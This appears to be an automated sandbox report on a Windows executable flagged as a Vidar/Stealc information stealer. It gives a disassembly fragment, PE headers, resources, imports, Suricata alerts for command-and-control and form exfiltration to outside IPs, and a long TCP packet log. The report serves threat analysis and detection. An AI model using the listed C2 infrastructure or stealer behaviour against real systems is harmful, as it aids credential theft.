cmp ebx, FFFFFFE0h
jnbe 00007F685C9BBAC1h
push esi
push edi
cmp dword ptr [0044B52Ch], 00000000h
jne 00007F685C9BBA6Ah
call 00007F685C9BDE4Fh
push 0000001Eh
call 00007F685C9BDC99h
push 000000FFh
call 00007F685C9BD506h
pop ecx
pop ecx
test ebx, ebx
je 00007F685C9BBA56h
mov eax, ebx
jmp 00007F685C9BBA55h
xor eax, eax
inc eax
push eax
push 00000000h
push dword ptr [0044B52Ch]
call dword ptr [0043C0D4h]
mov edi, eax
test edi, edi
jne 00007F685C9BBA78h
push 0000000Ch
pop esi
cmp dword ptr [0044BCCCh], eax
je 00007F685C9BBA5Fh
push ebx
call 00007F685C9BBB1Fh

Rich Headers

Programming Language:

[C++] VS2010 build 30319
[ASM] VS2010 build 30319
[ C ] VS2010 build 30319
[IMP] VS2008 SP1 build 30729
[RES] VS2010 build 30319
[LNK] VS2010 build 30319

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x3e7a4	0x64	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x2061000	0xe3d6	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x3e808	0x1c	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x3e270	0x40	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x3c000	0x1b4	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x3a0f0	0x3a200	ae010fa0783cd40e75e3e44b954b721e	False	0.5264070900537634	data	5.407641639607304	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x3c000	0x318a	0x3200	44c5dc2c9ffdbbc8578249ce7fe28f1b	False	0.34921875	data	5.023271003366023	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x40000	0x202086c	0xb600	a60fad487c985209a8203d00ecb5be16	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x2061000	0xe3d6	0xe400	64fd18353aed416d378e15dcfbcf9513	False	0.3569421600877193	data	4.537689390789346	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
SELUNIBI	0x20616cc	0x9e7	ASCII text, with very long lines (2535), with no line terminators	Tamil	India	0.6063116370808679
SELUNIBI	0x20616cc	0x9e7	ASCII text, with very long lines (2535), with no line terminators	Tamil	Sri Lanka	0.6063116370808679
RT_CURSOR	0x20620b4	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0			0.26439232409381663
RT_CURSOR	0x2062f5c	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0			0.3686823104693141
RT_CURSOR	0x2063804	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0			0.49060693641618497
RT_CURSOR	0x2063d6c	0x130	Device independent bitmap graphic, 32 x 64 x 1, image size 0			0.4375
RT_CURSOR	0x2063e9c	0xb0	Device independent bitmap graphic, 16 x 32 x 1, image size 0			0.44886363636363635
RT_CURSOR	0x2063f4c	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0			0.27238805970149255
RT_CURSOR	0x2064df4	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0			0.375
RT_CURSOR	0x206569c	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0			0.5057803468208093
RT_CURSOR	0x2065c04	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0			0.30943496801705755
RT_CURSOR	0x2066aac	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0			0.427797833935018
RT_CURSOR	0x2067354	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0			0.5469653179190751
RT_ICON	0x20678bc	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2304, 256 important colors	Tamil	India	0.4722814498933902
RT_ICON	0x20678bc	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2304, 256 important colors	Tamil	Sri Lanka	0.4722814498933902
RT_ICON	0x2068764	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1024, 256 important colors	Tamil	India	0.5852888086642599
RT_ICON	0x2068764	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1024, 256 important colors	Tamil	Sri Lanka	0.5852888086642599
RT_ICON	0x206900c	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 576, 256 important colors	Tamil	India	0.6480414746543779
RT_ICON	0x206900c	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 576, 256 important colors	Tamil	Sri Lanka	0.6480414746543779
RT_ICON	0x20696d4	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 256, 256 important colors	Tamil	India	0.6965317919075145
RT_ICON	0x20696d4	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 256, 256 important colors	Tamil	Sri Lanka	0.6965317919075145
RT_ICON	0x2069c3c	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9216	Tamil	India	0.37053941908713695
RT_ICON	0x2069c3c	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9216	Tamil	Sri Lanka	0.37053941908713695
RT_ICON	0x206c1e4	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4096	Tamil	India	0.4620075046904315
RT_ICON	0x206c1e4	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4096	Tamil	Sri Lanka	0.4620075046904315
RT_ICON	0x206d28c	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2304	Tamil	India	0.5422131147540984
RT_ICON	0x206d28c	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2304	Tamil	Sri Lanka	0.5422131147540984
RT_ICON	0x206dc14	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1024	Tamil	India	0.6329787234042553
RT_ICON	0x206dc14	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1024	Tamil	Sri Lanka	0.6329787234042553
RT_STRING	0x206e07c	0x452	data	Tamil	India	0.45479204339963836
RT_STRING	0x206e07c	0x452	data	Tamil	Sri Lanka	0.45479204339963836
RT_STRING	0x206e4d0	0x28e	data	Tamil	India	0.481651376146789
RT_STRING	0x206e4d0	0x28e	data	Tamil	Sri Lanka	0.481651376146789
RT_STRING	0x206e760	0x81e	data	Tamil	India	0.41867179980750724
RT_STRING	0x206e760	0x81e	data	Tamil	Sri Lanka	0.41867179980750724
RT_ACCELERATOR	0x206ef80	0x40	data	Tamil	India	0.875
RT_ACCELERATOR	0x206ef80	0x40	data	Tamil	Sri Lanka	0.875
RT_GROUP_CURSOR	0x206efc0	0x30	data			0.9375
RT_GROUP_CURSOR	0x206eff0	0x22	data			1.0588235294117647
RT_GROUP_CURSOR	0x206f014	0x30	data			0.9375
RT_GROUP_CURSOR	0x206f044	0x30	data			0.9375
RT_GROUP_ICON	0x206f074	0x76	data	Tamil	India	0.6610169491525424
RT_GROUP_ICON	0x206f074	0x76	data	Tamil	Sri Lanka	0.6610169491525424
RT_VERSION	0x206f0ec	0x258	data			0.5383333333333333
RT_MANIFEST	0x206f344	0x92	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators			0.9041095890410958

Imports

DLL	Import
KERNEL32.dll	LocalCompact, CreateHardLinkA, GetModuleHandleW, GetTickCount, CreateNamedPipeW, GetProcessHeap, GetConsoleAliasesA, GetConsoleCP, GlobalAlloc, GetSystemDirectoryW, SetFileShortNameW, LoadLibraryW, IsProcessInJob, FatalAppExitW, AssignProcessToJobObject, IsBadCodePtr, GetModuleFileNameW, CreateJobObjectA, GetLastError, GetProcAddress, PeekConsoleInputW, EnumDateFormatsExA, SetEndOfFile, LoadLibraryA, FindFirstVolumeMountPointW, SetConsoleCtrlHandler, AddAtomW, HeapWalk, GlobalHandle, EnumResourceTypesW, SetEnvironmentVariableA, GetOEMCP, GetModuleHandleA, EnumResourceNamesA, GetFileTime, SetProcessShutdownParameters, GetDiskFreeSpaceExW, LCMapStringW, CloseHandle, HeapSize, GetStringTypeW, WriteConsoleInputW, VerLanguageNameW, CreateFileA, WriteConsoleW, FlushFileBuffers, HeapFree, GetCommandLineA, HeapSetInformation, GetStartupInfoW, HeapAlloc, HeapCreate, EnterCriticalSection, LeaveCriticalSection, SetHandleCount, GetStdHandle, InitializeCriticalSectionAndSpinCount, GetFileType, DeleteCriticalSection, UnhandledExceptionFilter, SetUnhandledExceptionFilter, IsDebuggerPresent, EncodePointer, DecodePointer, TerminateProcess, GetCurrentProcess, ReadFile, MultiByteToWideChar, ExitProcess, SetFilePointer, WriteFile, GetModuleFileNameA, FreeEnvironmentStringsW, WideCharToMultiByte, GetEnvironmentStringsW, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, InterlockedIncrement, SetLastError, GetCurrentThreadId, InterlockedDecrement, QueryPerformanceCounter, GetCurrentProcessId, GetSystemTimeAsFileTime, Sleep, GetConsoleMode, RtlUnwind, GetCPInfo, GetACP, IsValidCodePage, SetStdHandle, IsProcessorFeaturePresent, HeapReAlloc, CreateFileW
USER32.dll	SetCaretPos, CharUpperBuffW, GetMessageExtraInfo, GetMenu, DrawStateW, GetSysColorBrush
GDI32.dll	GetCharWidthI, GetCharABCWidthsI
WINHTTP.dll	WinHttpOpen

Possible Origin

Language of compilation system	Country where language is spoken	Map
Tamil	India
Tamil	Sri Lanka

Network Behavior

Suricata IDS Alerts

Timestamp	Protocol	SID	Signature	Source Port	Dest Port	Source IP	Dest IP
2024-07-26T11:27:15.505921+0200	TCP	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	49742	443	192.168.2.6	5.75.212.60
2024-07-26T11:26:42.195392+0200	TCP	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	49723	443	192.168.2.6	5.75.212.60
2024-07-26T11:27:16.958925+0200	TCP	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	49743	443	192.168.2.6	5.75.212.60
2024-07-26T11:26:41.148022+0200	TCP	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	49722	443	192.168.2.6	5.75.212.60
2024-07-26T11:27:00.845844+0200	TCP	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	49738	443	192.168.2.6	5.75.212.60
2024-07-26T11:26:37.951542+0200	TCP	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	49721	443	192.168.2.6	5.75.212.60
2024-07-26T11:26:34.557453+0200	TCP	2049087	ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST	49718	443	192.168.2.6	5.75.212.60
2024-07-26T11:26:59.446344+0200	TCP	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	49737	443	192.168.2.6	5.75.212.60
2024-07-26T11:26:49.073576+0200	TCP	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	49732	443	192.168.2.6	5.75.212.60
2024-07-26T11:26:44.810702+0200	TCP	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	49729	443	192.168.2.6	5.75.212.60
2024-07-26T11:26:52.454530+0200	TCP	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	49734	443	192.168.2.6	5.75.212.60
2024-07-26T11:26:36.674872+0200	TCP	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	49720	443	192.168.2.6	5.75.212.60
2024-07-26T11:27:10.093787+0200	TCP	2011803	ET SHELLCODE Possible TCP x86 JMP to CALL Shellcode Detected	80	49741	198.46.178.145	192.168.2.6
2024-07-26T11:26:35.934864+0200	TCP	2051831	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config M1	443	49719	5.75.212.60	192.168.2.6
2024-07-26T11:26:30.139325+0200	TCP	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	49714	443	192.168.2.6	5.75.212.60
2024-07-26T11:26:33.237823+0200	TCP	2049087	ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST	49717	443	192.168.2.6	5.75.212.60
2024-07-26T11:26:43.353591+0200	TCP	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	49725	443	192.168.2.6	5.75.212.60
2024-07-26T11:27:18.516067+0200	TCP	2054495	ET MALWARE Vidar Stealer Form Exfil	49744	80	192.168.2.6	77.91.101.71
2024-07-26T11:26:32.574914+0200	TCP	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	49717	443	192.168.2.6	5.75.212.60
2024-07-26T11:27:03.265589+0200	TCP	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	49739	443	192.168.2.6	5.75.212.60
2024-07-26T11:26:40.028455+0200	TCP	2011803	ET SHELLCODE Possible TCP x86 JMP to CALL Shellcode Detected	443	49721	5.75.212.60	192.168.2.6
2024-07-26T11:26:57.752706+0200	TCP	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	49736	443	192.168.2.6	5.75.212.60
2024-07-26T11:26:35.279919+0200	TCP	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	49719	443	192.168.2.6	5.75.212.60
2024-07-26T11:26:51.045473+0200	TCP	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	49733	443	192.168.2.6	5.75.212.60
2024-07-26T11:26:34.557892+0200	TCP	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	443	49718	5.75.212.60	192.168.2.6
2024-07-26T11:26:33.910609+0200	TCP	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	49718	443	192.168.2.6	5.75.212.60
2024-07-26T11:26:31.235126+0200	TCP	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	49716	443	192.168.2.6	5.75.212.60
2024-07-26T11:26:47.964938+0200	TCP	2011803	ET SHELLCODE Possible TCP x86 JMP to CALL Shellcode Detected	443	49731	5.75.212.60	192.168.2.6
2024-07-26T11:26:46.862217+0200	TCP	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	49731	443	192.168.2.6	5.75.212.60
2024-07-26T11:27:11.746700+0200	TCP	2009080	ET MALWARE VMProtect Packed Binary Inbound via HTTP - Likely Hostile	80	49741	198.46.178.145	192.168.2.6
2024-07-26T11:27:21.627969+0200	TCP	2022930	ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow	443	49747	40.127.169.103	192.168.2.6
2024-07-26T11:26:54.088551+0200	TCP	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	49735	443	192.168.2.6	5.75.212.60
2024-07-26T11:26:43.693432+0200	TCP	2022930	ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow	443	49724	40.127.169.103	192.168.2.6

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jul 26, 2024 11:26:27.958811045 CEST	49713	443	192.168.2.6	23.192.247.89
Jul 26, 2024 11:26:27.958841085 CEST	443	49713	23.192.247.89	192.168.2.6
Jul 26, 2024 11:26:27.960508108 CEST	49713	443	192.168.2.6	23.192.247.89
Jul 26, 2024 11:26:27.974488020 CEST	49713	443	192.168.2.6	23.192.247.89
Jul 26, 2024 11:26:27.974499941 CEST	443	49713	23.192.247.89	192.168.2.6
Jul 26, 2024 11:26:28.620307922 CEST	443	49713	23.192.247.89	192.168.2.6
Jul 26, 2024 11:26:28.620429039 CEST	49713	443	192.168.2.6	23.192.247.89
Jul 26, 2024 11:26:28.686678886 CEST	49713	443	192.168.2.6	23.192.247.89
Jul 26, 2024 11:26:28.686707973 CEST	443	49713	23.192.247.89	192.168.2.6
Jul 26, 2024 11:26:28.687196016 CEST	443	49713	23.192.247.89	192.168.2.6
Jul 26, 2024 11:26:28.687367916 CEST	49713	443	192.168.2.6	23.192.247.89
Jul 26, 2024 11:26:28.691382885 CEST	49713	443	192.168.2.6	23.192.247.89
Jul 26, 2024 11:26:28.732501984 CEST	443	49713	23.192.247.89	192.168.2.6
Jul 26, 2024 11:26:29.090809107 CEST	443	49713	23.192.247.89	192.168.2.6
Jul 26, 2024 11:26:29.090878963 CEST	443	49713	23.192.247.89	192.168.2.6
Jul 26, 2024 11:26:29.090920925 CEST	443	49713	23.192.247.89	192.168.2.6
Jul 26, 2024 11:26:29.090962887 CEST	49713	443	192.168.2.6	23.192.247.89
Jul 26, 2024 11:26:29.090962887 CEST	49713	443	192.168.2.6	23.192.247.89
Jul 26, 2024 11:26:29.090975046 CEST	443	49713	23.192.247.89	192.168.2.6
Jul 26, 2024 11:26:29.091051102 CEST	49713	443	192.168.2.6	23.192.247.89
Jul 26, 2024 11:26:29.091051102 CEST	49713	443	192.168.2.6	23.192.247.89
Jul 26, 2024 11:26:29.176645994 CEST	443	49713	23.192.247.89	192.168.2.6
Jul 26, 2024 11:26:29.176707983 CEST	443	49713	23.192.247.89	192.168.2.6
Jul 26, 2024 11:26:29.177438974 CEST	49713	443	192.168.2.6	23.192.247.89
Jul 26, 2024 11:26:29.177438974 CEST	49713	443	192.168.2.6	23.192.247.89
Jul 26, 2024 11:26:29.177454948 CEST	443	49713	23.192.247.89	192.168.2.6
Jul 26, 2024 11:26:29.177526951 CEST	49713	443	192.168.2.6	23.192.247.89
Jul 26, 2024 11:26:29.180291891 CEST	443	49713	23.192.247.89	192.168.2.6
Jul 26, 2024 11:26:29.180327892 CEST	443	49713	23.192.247.89	192.168.2.6
Jul 26, 2024 11:26:29.180470943 CEST	443	49713	23.192.247.89	192.168.2.6
Jul 26, 2024 11:26:29.180520058 CEST	49713	443	192.168.2.6	23.192.247.89
Jul 26, 2024 11:26:29.180520058 CEST	49713	443	192.168.2.6	23.192.247.89
Jul 26, 2024 11:26:29.180520058 CEST	49713	443	192.168.2.6	23.192.247.89
Jul 26, 2024 11:26:29.180794001 CEST	49713	443	192.168.2.6	23.192.247.89
Jul 26, 2024 11:26:29.180804968 CEST	443	49713	23.192.247.89	192.168.2.6
Jul 26, 2024 11:26:29.219857931 CEST	49714	443	192.168.2.6	5.75.212.60
Jul 26, 2024 11:26:29.219960928 CEST	443	49714	5.75.212.60	192.168.2.6
Jul 26, 2024 11:26:29.220098972 CEST	49714	443	192.168.2.6	5.75.212.60
Jul 26, 2024 11:26:29.220542908 CEST	49714	443	192.168.2.6	5.75.212.60
Jul 26, 2024 11:26:29.220583916 CEST	443	49714	5.75.212.60	192.168.2.6
Jul 26, 2024 11:26:30.139079094 CEST	443	49714	5.75.212.60	192.168.2.6
Jul 26, 2024 11:26:30.139324903 CEST	49714	443	192.168.2.6	5.75.212.60
Jul 26, 2024 11:26:30.142684937 CEST	49714	443	192.168.2.6	5.75.212.60
Jul 26, 2024 11:26:30.142719030 CEST	443	49714	5.75.212.60	192.168.2.6
Jul 26, 2024 11:26:30.143033981 CEST	443	49714	5.75.212.60	192.168.2.6
Jul 26, 2024 11:26:30.143100977 CEST	49714	443	192.168.2.6	5.75.212.60
Jul 26, 2024 11:26:30.143389940 CEST	49714	443	192.168.2.6	5.75.212.60
Jul 26, 2024 11:26:30.184535980 CEST	443	49714	5.75.212.60	192.168.2.6
Jul 26, 2024 11:26:30.584057093 CEST	443	49714	5.75.212.60	192.168.2.6
Jul 26, 2024 11:26:30.584234953 CEST	443	49714	5.75.212.60	192.168.2.6
Jul 26, 2024 11:26:30.584263086 CEST	49714	443	192.168.2.6	5.75.212.60
Jul 26, 2024 11:26:30.584341049 CEST	49714	443	192.168.2.6	5.75.212.60
Jul 26, 2024 11:26:30.586532116 CEST	49714	443	192.168.2.6	5.75.212.60
Jul 26, 2024 11:26:30.586577892 CEST	443	49714	5.75.212.60	192.168.2.6
Jul 26, 2024 11:26:30.588171959 CEST	49716	443	192.168.2.6	5.75.212.60
Jul 26, 2024 11:26:30.588226080 CEST	443	49716	5.75.212.60	192.168.2.6
Jul 26, 2024 11:26:30.588310957 CEST	49716	443	192.168.2.6	5.75.212.60
Jul 26, 2024 11:26:30.588506937 CEST	49716	443	192.168.2.6	5.75.212.60
Jul 26, 2024 11:26:30.588534117 CEST	443	49716	5.75.212.60	192.168.2.6
Jul 26, 2024 11:26:31.234929085 CEST	443	49716	5.75.212.60	192.168.2.6
Jul 26, 2024 11:26:31.235126019 CEST	49716	443	192.168.2.6	5.75.212.60
Jul 26, 2024 11:26:31.235348940 CEST	49716	443	192.168.2.6	5.75.212.60
Jul 26, 2024 11:26:31.235377073 CEST	443	49716	5.75.212.60	192.168.2.6
Jul 26, 2024 11:26:31.237365007 CEST	49716	443	192.168.2.6	5.75.212.60
Jul 26, 2024 11:26:31.237380028 CEST	443	49716	5.75.212.60	192.168.2.6
Jul 26, 2024 11:26:31.876305103 CEST	443	49716	5.75.212.60	192.168.2.6
Jul 26, 2024 11:26:31.876414061 CEST	49716	443	192.168.2.6	5.75.212.60
Jul 26, 2024 11:26:31.876466036 CEST	443	49716	5.75.212.60	192.168.2.6
Jul 26, 2024 11:26:31.876523972 CEST	49716	443	192.168.2.6	5.75.212.60
Jul 26, 2024 11:26:31.876538992 CEST	443	49716	5.75.212.60	192.168.2.6
Jul 26, 2024 11:26:31.876611948 CEST	49716	443	192.168.2.6	5.75.212.60
Jul 26, 2024 11:26:31.876663923 CEST	49716	443	192.168.2.6	5.75.212.60
Jul 26, 2024 11:26:31.876697063 CEST	443	49716	5.75.212.60	192.168.2.6
Jul 26, 2024 11:26:31.877881050 CEST	49717	443	192.168.2.6	5.75.212.60
Jul 26, 2024 11:26:31.877922058 CEST	443	49717	5.75.212.60	192.168.2.6
Jul 26, 2024 11:26:31.877995014 CEST	49717	443	192.168.2.6	5.75.212.60
Jul 26, 2024 11:26:31.878180027 CEST	49717	443	192.168.2.6	5.75.212.60
Jul 26, 2024 11:26:31.878191948 CEST	443	49717	5.75.212.60	192.168.2.6
Jul 26, 2024 11:26:32.574805021 CEST	443	49717	5.75.212.60	192.168.2.6
Jul 26, 2024 11:26:32.574913979 CEST	49717	443	192.168.2.6	5.75.212.60
Jul 26, 2024 11:26:32.575463057 CEST	49717	443	192.168.2.6	5.75.212.60
Jul 26, 2024 11:26:32.575469971 CEST	443	49717	5.75.212.60	192.168.2.6
Jul 26, 2024 11:26:32.577029943 CEST	49717	443	192.168.2.6	5.75.212.60
Jul 26, 2024 11:26:32.577038050 CEST	443	49717	5.75.212.60	192.168.2.6
Jul 26, 2024 11:26:33.237903118 CEST	443	49717	5.75.212.60	192.168.2.6
Jul 26, 2024 11:26:33.237970114 CEST	443	49717	5.75.212.60	192.168.2.6
Jul 26, 2024 11:26:33.237998009 CEST	49717	443	192.168.2.6	5.75.212.60
Jul 26, 2024 11:26:33.238023043 CEST	49717	443	192.168.2.6	5.75.212.60
Jul 26, 2024 11:26:33.238029957 CEST	443	49717	5.75.212.60	192.168.2.6
Jul 26, 2024 11:26:33.238076925 CEST	49717	443	192.168.2.6	5.75.212.60
Jul 26, 2024 11:26:33.238154888 CEST	443	49717	5.75.212.60	192.168.2.6
Jul 26, 2024 11:26:33.238229990 CEST	49717	443	192.168.2.6	5.75.212.60
Jul 26, 2024 11:26:33.238379955 CEST	49717	443	192.168.2.6	5.75.212.60
Jul 26, 2024 11:26:33.238396883 CEST	443	49717	5.75.212.60	192.168.2.6
Jul 26, 2024 11:26:33.248332977 CEST	49718	443	192.168.2.6	5.75.212.60
Jul 26, 2024 11:26:33.248362064 CEST	443	49718	5.75.212.60	192.168.2.6
Jul 26, 2024 11:26:33.248434067 CEST	49718	443	192.168.2.6	5.75.212.60
Jul 26, 2024 11:26:33.248680115 CEST	49718	443	192.168.2.6	5.75.212.60
Jul 26, 2024 11:26:33.248694897 CEST	443	49718	5.75.212.60	192.168.2.6
Jul 26, 2024 11:26:33.910489082 CEST	443	49718	5.75.212.60	192.168.2.6
Jul 26, 2024 11:26:33.910609007 CEST	49718	443	192.168.2.6	5.75.212.60
Jul 26, 2024 11:26:33.911226988 CEST	49718	443	192.168.2.6	5.75.212.60
Jul 26, 2024 11:26:33.911242008 CEST	443	49718	5.75.212.60	192.168.2.6
Jul 26, 2024 11:26:33.913059950 CEST	49718	443	192.168.2.6	5.75.212.60
Jul 26, 2024 11:26:33.913069010 CEST	443	49718	5.75.212.60	192.168.2.6
Jul 26, 2024 11:26:34.557396889 CEST	443	49718	5.75.212.60	192.168.2.6
Jul 26, 2024 11:26:34.557465076 CEST	443	49718	5.75.212.60	192.168.2.6
Jul 26, 2024 11:26:34.557487965 CEST	49718	443	192.168.2.6	5.75.212.60
Jul 26, 2024 11:26:34.557514906 CEST	443	49718	5.75.212.60	192.168.2.6
Jul 26, 2024 11:26:34.557528019 CEST	49718	443	192.168.2.6	5.75.212.60
Jul 26, 2024 11:26:34.557553053 CEST	49718	443	192.168.2.6	5.75.212.60
Jul 26, 2024 11:26:34.557558060 CEST	443	49718	5.75.212.60	192.168.2.6
Jul 26, 2024 11:26:34.557595968 CEST	49718	443	192.168.2.6	5.75.212.60
Jul 26, 2024 11:26:34.557637930 CEST	443	49718	5.75.212.60	192.168.2.6
Jul 26, 2024 11:26:34.557679892 CEST	49718	443	192.168.2.6	5.75.212.60
Jul 26, 2024 11:26:34.563927889 CEST	49718	443	192.168.2.6	5.75.212.60
Jul 26, 2024 11:26:34.563940048 CEST	443	49718	5.75.212.60	192.168.2.6
Jul 26, 2024 11:26:34.565968990 CEST	49719	443	192.168.2.6	5.75.212.60
Jul 26, 2024 11:26:34.566019058 CEST	443	49719	5.75.212.60	192.168.2.6
Jul 26, 2024 11:26:34.566096067 CEST	49719	443	192.168.2.6	5.75.212.60
Jul 26, 2024 11:26:34.566342115 CEST	49719	443	192.168.2.6	5.75.212.60
Jul 26, 2024 11:26:34.566359997 CEST	443	49719	5.75.212.60	192.168.2.6
Jul 26, 2024 11:26:35.279803991 CEST	443	49719	5.75.212.60	192.168.2.6
Jul 26, 2024 11:26:35.279918909 CEST	49719	443	192.168.2.6	5.75.212.60
Jul 26, 2024 11:26:35.280632019 CEST	49719	443	192.168.2.6	5.75.212.60
Jul 26, 2024 11:26:35.280659914 CEST	443	49719	5.75.212.60	192.168.2.6
Jul 26, 2024 11:26:35.282135010 CEST	49719	443	192.168.2.6	5.75.212.60
Jul 26, 2024 11:26:35.282145023 CEST	443	49719	5.75.212.60	192.168.2.6
Jul 26, 2024 11:26:35.934218884 CEST	443	49719	5.75.212.60	192.168.2.6
Jul 26, 2024 11:26:35.934458017 CEST	443	49719	5.75.212.60	192.168.2.6
Jul 26, 2024 11:26:35.934583902 CEST	49719	443	192.168.2.6	5.75.212.60
Jul 26, 2024 11:26:35.934673071 CEST	49719	443	192.168.2.6	5.75.212.60
Jul 26, 2024 11:26:35.934673071 CEST	49719	443	192.168.2.6	5.75.212.60
Jul 26, 2024 11:26:36.012135029 CEST	49720	443	192.168.2.6	5.75.212.60
Jul 26, 2024 11:26:36.012197971 CEST	443	49720	5.75.212.60	192.168.2.6
Jul 26, 2024 11:26:36.012280941 CEST	49720	443	192.168.2.6	5.75.212.60
Jul 26, 2024 11:26:36.012562990 CEST	49720	443	192.168.2.6	5.75.212.60
Jul 26, 2024 11:26:36.012583017 CEST	443	49720	5.75.212.60	192.168.2.6
Jul 26, 2024 11:26:36.239819050 CEST	49719	443	192.168.2.6	5.75.212.60
Jul 26, 2024 11:26:36.239886999 CEST	443	49719	5.75.212.60	192.168.2.6
Jul 26, 2024 11:26:36.674669981 CEST	443	49720	5.75.212.60	192.168.2.6
Jul 26, 2024 11:26:36.674871922 CEST	49720	443	192.168.2.6	5.75.212.60
Jul 26, 2024 11:26:36.675328016 CEST	49720	443	192.168.2.6	5.75.212.60
Jul 26, 2024 11:26:36.675348043 CEST	443	49720	5.75.212.60	192.168.2.6
Jul 26, 2024 11:26:36.677032948 CEST	49720	443	192.168.2.6	5.75.212.60
Jul 26, 2024 11:26:36.677047968 CEST	443	49720	5.75.212.60	192.168.2.6
Jul 26, 2024 11:26:36.677098036 CEST	49720	443	192.168.2.6	5.75.212.60
Jul 26, 2024 11:26:36.677119017 CEST	443	49720	5.75.212.60	192.168.2.6
Jul 26, 2024 11:26:37.220316887 CEST	49721	443	192.168.2.6	5.75.212.60
Jul 26, 2024 11:26:37.220367908 CEST	443	49721	5.75.212.60	192.168.2.6
Jul 26, 2024 11:26:37.220442057 CEST	49721	443	192.168.2.6	5.75.212.60
Jul 26, 2024 11:26:37.220721960 CEST	49721	443	192.168.2.6	5.75.212.60
Jul 26, 2024 11:26:37.220737934 CEST	443	49721	5.75.212.60	192.168.2.6
Jul 26, 2024 11:26:37.311132908 CEST	443	49720	5.75.212.60	192.168.2.6
Jul 26, 2024 11:26:37.311299086 CEST	443	49720	5.75.212.60	192.168.2.6
Jul 26, 2024 11:26:37.311338902 CEST	49720	443	192.168.2.6	5.75.212.60
